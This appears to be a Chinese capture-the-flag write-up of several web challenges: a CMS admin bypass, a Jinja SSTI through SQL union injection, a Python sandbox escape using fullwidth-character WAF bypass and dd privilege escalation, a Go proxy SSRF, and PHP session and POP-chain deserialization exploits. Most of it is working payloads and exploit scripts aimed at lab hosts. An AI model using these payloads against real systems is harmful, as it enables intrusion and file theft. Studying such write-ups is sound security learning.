xiaohuanxiong forkable/xiaohuanxiong: 开源有态度的漫画CMS
重写了init
未授权,直接访问
1 http://39.107.225.62:37163/admin/Admins
支付设置中发现可命令执行代码
提交后直接回显flag
snake js速度调慢后手工打370秒打通后跳转/snake_win?username=xxxx
也可以gpt改写后直接替换源码绕过
发现有回显的点,sql注入无果后尝试ssti发现源码中有回显
没有过滤 梭哈
1 http://eci-2ze5o4vs0w9lqwwjqex7.cloudeci1.ichunqiu.com:5000/snake_win?username=1' union select 1,2,"{{().__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}"--+
PyBlockly 想到2024极客大挑战中的绕过方式
首先 传入json请求体
取了[blocks][blocks][0]
部分传入block_to_python
这两个类型没有回调
最后返回do函数结合hook函数一起执行
有阴间waf过滤,想到20Geekchallenge中的沙箱逃逸题的绕过方式
考虑非ascii字符,花字符或者全半角绕过
1 \uff07\ufe54\u0070\u0072\u0069\u006e\u0074\uff08\uff02\uff02\u2024\u006a\u006f\u0069\u006e\uff08\u006c\u0069\u006e\u0065\u0020\u0066\u006f\u0072\u0020\u006c\u0069\u006e\u0065\u0020\u0069\u006e\u0020\u006f\u0070\u0065\u006e\uff08\uff02\uff0f\u0065\u0074\u0063\uff0f\u0070\u0061\u0073\u0073\u0077\u0064\uff02\uff0c\uff02\u0072\uff02\uff09\uff09\uff09\ufe54\uff07
可以读取/etc/passwd和环境变量等文件,后查看
1 '﹔__builtins__․len ﹦ lambda obj: 2﹔__import__("os")․system("find / ‒perm ‒u=s ‒type f 2﹥/dev/null")﹔'
就可以发现flag没有读取权限
dd提权
1 '﹔__builtins__․len ﹦ lambda obj: 2﹔__import__("os")․system("dd if゠/flag")﹔'
最终payload
1 2 3 4 5 6 7 8 {"blocks":{"blocks":[{ "type":"text","fields":{ "TEXT":"\uff07\ufe54\uff3f\uff3f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\uff3f\u ff3f\u2024\u006c\u0065\u006e\u0020\ufe66\u0020\u006c\u0061\u006d\u0062\u0064\u0061\u0020 \u006f\u0062\u006a\uff1a\u0020\u0032\ufe54\uff3f\uff3f\u0069\u006d\u0070\u006f\u0072\u00 74\uff3f\uff3f\uff08\uff02\u006f\u0073\uff02\uff09\u2024\u0073\u0079\u0073\u0074\u0065\u 006d\uff08\uff02\u0064\u0064\u0020\u0069\u0066\u30a0\uff0f\u0066\u006c\u0061\u0067\uff02 \uff09\ufe54\uff07"}}]},"0945t76aq3kd":"="}
或者
1 {"blocks":{"languageVersion":0,"blocks":[{"type":"text","fields":{"TEXT":"';__import__('sys').modules['__main__'].__dict__['__builtins__'].__dict__['len'] = lambda x: 1\nprint(len("aaaaaa"))\n__import__('os').system('ls')\n__import__('os').system('LFILE=file_to_read dd if=/flag')\n__import__('os').system('find / -user root -perm -4000 -print 2>/dev/null')#"}}]}}
Proxy 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 package mainimport ( "bytes" "io" "net/http" "os/exec" "github.com/gin-gonic/gin" ) type ProxyRequest struct { URL string `json:"url" binding:"required"` Method string `json:"method" binding:"required"` Body string `json:"body"` Headers map [string ]string `json:"headers"` FollowRedirects bool `json:"follow_redirects"` } func main () { r := gin.Default() v1 := r.Group("/v1" ) { v1.POST("/api/flag" , func (c *gin.Context) { cmd := exec.Command("/readflag" ) flag, err := cmd.CombinedOutput() if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"status" : "error" , "message" : "Internal Server Error" }) return } c.JSON(http.StatusOK, gin.H{"flag" : flag}) }) } v2 := r.Group("/v2" ) { v2.POST("/api/proxy" , func (c *gin.Context) { var proxyRequest ProxyRequest if err := c.ShouldBindJSON(&proxyRequest); err != nil { c.JSON(http.StatusBadRequest, gin.H{"status" : "error" , "message" : "Invalid request" }) return } client := &http.Client{ CheckRedirect: func (req *http.Request, via []*http.Request) error { if !req.URL.IsAbs() { return http.ErrUseLastResponse } if !proxyRequest.FollowRedirects { return http.ErrUseLastResponse } return nil }, } req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte (proxyRequest.Body))) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"status" : "error" , "message" : "Internal Server Error" }) return } for key, value := range proxyRequest.Headers { req.Header.Set(key, value) } resp, err := client.Do(req) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"status" : "error" , "message" : "Internal Server Error" }) return } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"status" : "error" , "message" : "Internal Server Error" }) return } c.Status(resp.StatusCode) for key, value := range resp.Header { c.Header(key, value[0 ]) } c.Writer.Write(body) c.Abort() }) } r.Run("127.0.0.1:8769" ) }
使用代理访问即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsdef proxy_to_v1_flag (): url = "http://39.105.114.252:26706/v2/api/proxy" payload = { "url" : "http://127.0.0.1:8769/v1/api/flag" , "method" : "POST" , "body" : "" , "headers" : {}, "follow_redirects" : False } try : response = requests.post(url, json=payload) print (response.json()) except requests.exceptions.RequestException as e: print (e) proxy_to_v1_flag()
或者hackbar
带你走进PHP session反序列化漏洞 - 先知社区
www.zip ->class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 <?php class notouchitsclass { public $data ; public function __construct ($data ) { $this ->data = $data ; } public function __destruct ( ) { eval ($this ->data); } } class SessionRandom { public function generateRandomString ( ) { $length = rand (1 , 50 ); $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' ; $charactersLength = strlen ($characters ); $randomString = '' ; for ($i = 0 ; $i < $length ; $i ++) { $randomString .= $characters [rand (0 , $charactersLength - 1 )]; } return $randomString ; } } class SessionManager { private $sessionPath ; private $sessionId ; private $sensitiveFunctions = ['system' , 'eval' , 'exec' , 'passthru' , 'shell_exec' , 'popen' , 'proc_open' ]; public function __construct ( ) { if (session_status () == PHP_SESSION_NONE) { throw new Exception ("Session has not been started. Please start a session before using this class." ); } $this ->sessionPath = session_save_path (); $this ->sessionId = session_id (); } private function getSessionFilePath ( ) { return $this ->sessionPath . "/sess_" . $this ->sessionId; } public function filterSensitiveFunctions ( ) { $sessionFile = $this ->getSessionFilePath (); if (file_exists ($sessionFile )) { $sessionData = file_get_contents ($sessionFile ); foreach ($this ->sensitiveFunctions as $function ) { if (strpos ($sessionData , $function ) !== false ) { $sessionData = str_replace ($function , '' , $sessionData ); } } file_put_contents ($sessionFile , $sessionData ); return "Sensitive functions have been filtered from the session file." ; } else { return "Session file not found." ; } } }
发现可以利用的类
这里可以使用字符串逃逸构造一个恶意的session文件
本地调试一下
session格式
1 user|s:4:"yiyi";session_key|s:11:"g3bbFDKYSQ1";password|s:3:"123";
session生成代码->50位随机的key,可以使用定长爆破的方式
使用replace绕过黑名单构造反序列化脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class notouchitsclass { public $data ; public function __construct ($data ) { $this ->data = $data ; } public function __destruct ( ) { eval ($this ->data); } } $a = new notouchitsclass ('' );$a ->data = "sysexectem('/readflag');" ;echo serialize ($a );
由于replace将payload修改为
1 O:15:"notouchitsclass":1:{s:4:"data";s:20:"sysexectem('/readflag');";}
根据格式可以知道,";session_key|s:5:"EMwzr";password|s:3:
是不需要的部分 通过replace进行逃逸
1 2 username=systemsystemsystemsystemsystemsystemsystemsystem&password=";aaa|O:15:"notouchit sclass":1:{s:4:"data";s:20:"syssystemtem('/readflag');";}
session_key的长度是不固定的,采用定长爆破的方式抽奖
1 2 3 4 5 6 7 8 9 10 11 12 import requestsurl = "http://eci-2ze28vznmiokjljcaas2.cloudeci1.ichunqiu.com/index.php" cookies = {"PHPSESSID" : "c00le2qji7em8g40hm8djrkbi6" } a = ['passthrupassthrupassthrupassthrupassthrupassthrupassthrupassthrusystem' ] while True : data = {"username" : a[0 ], "password" : ';user|O:15:"notouchitsclass":1:{s:4:"data";s:20:"sysexectem(\'/readflag\');";}' } res = requests.post(url, cookies=cookies, data=data) if len (res.text) != 1135 and len (res.text) != 1950 : print (res.text) break
赛时忘截,赛后截的flag图
Password Game 完成对应要求可以得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php function filter ($password ) { $filter_arr = array ("admin" ,"2024qwb" ); $filter = '/' .implode ("|" ,$filter_arr ).'/i' ; return preg_replace ($filter ,"nonono" ,$password ); } class guest { public $username ; public $value ; public function __tostring ( ) { if ($this ->username=="guest" ){ $value (); } return $this ->username; } public function __call ($key ,$value ) { if ($this ->username==md5 ($GLOBALS ["flag" ])){ echo $GLOBALS ["flag" ]; } } } class root { public $username ; public $value ; public function __get ($key ) { if (strpos ($this ->username, "admin" ) == 0 && $this ->value == "2024qwb" ){ $this ->value = $GLOBALS ["flag" ]; echo md5 ("hello:" .$this ->value); } } } class user { public $username ; public $password ; public $value ; public function __invoke ( ) { $this ->username=md5 ($GLOBALS ["flag" ]); return $this ->password->guess (); } public function __destruct ( ) { if (strpos ($this ->username, "admin" ) == 0 ){ echo "hello" .$this ->username; } } } $user =unserialize (filter ($_POST ["password" ]));if (strpos ($user ->username, "admin" ) == 0 && $user ->password == "2024qwb" ){ echo "hello!" ; }
看到源码脑袋嗡了 后来放hint后有思路了
在魔术方法get下,全局变量被赋予给了value,所以我们就可以想到利用引用来给userame赋值,在输出username的时候把flag输出出来
本地调试 ,用十六进制可以绕waf触发__get
然后引用赋值,这样就可以在user中输出root::value了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class root { public $username = "admin" ; public $value = "2024qwb" ; } class user { public $username ; public $password ; public $value ; } $a = new root ();$a ->username=new user ();$a ->username->username=&$a ->value;echo serialize ($a );
十六进制绕过
1 O:4:"root":2:{s:8:"username";O:4:"user":3:{s:8:"username";S:7:"\32\3024qwb";s:8:"password";N;s:5:"value";N;}s:5:"value";R:3;}
11.4补
看了nk师傅们的做法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class root { public $username = "admin" ; public $value = "2024qwb" ; } class user { public $username ; public $password ; public $value ; } $b = new user ();$a = new root ();$a ->username="\\61dmin" ;$a ->value="\\32\\3024qwb" ;$a ->test = $b ;$b ->username=&$a ->value;echo serialize ($a );
这种做法的好处是 如果去掉$a->test = $b;
那么引用赋值时就会覆盖掉$b,如果将b先赋值给$a->test时,就不会覆盖原有的值
最终payload
1 O:4:"root":3:{s:8:"username";S:11:"\61dmin943252";s:5:"value";S:7:"\32\3024qwb";s:4:"test";O:4:"user":1:{s:8:"username";R:3;}}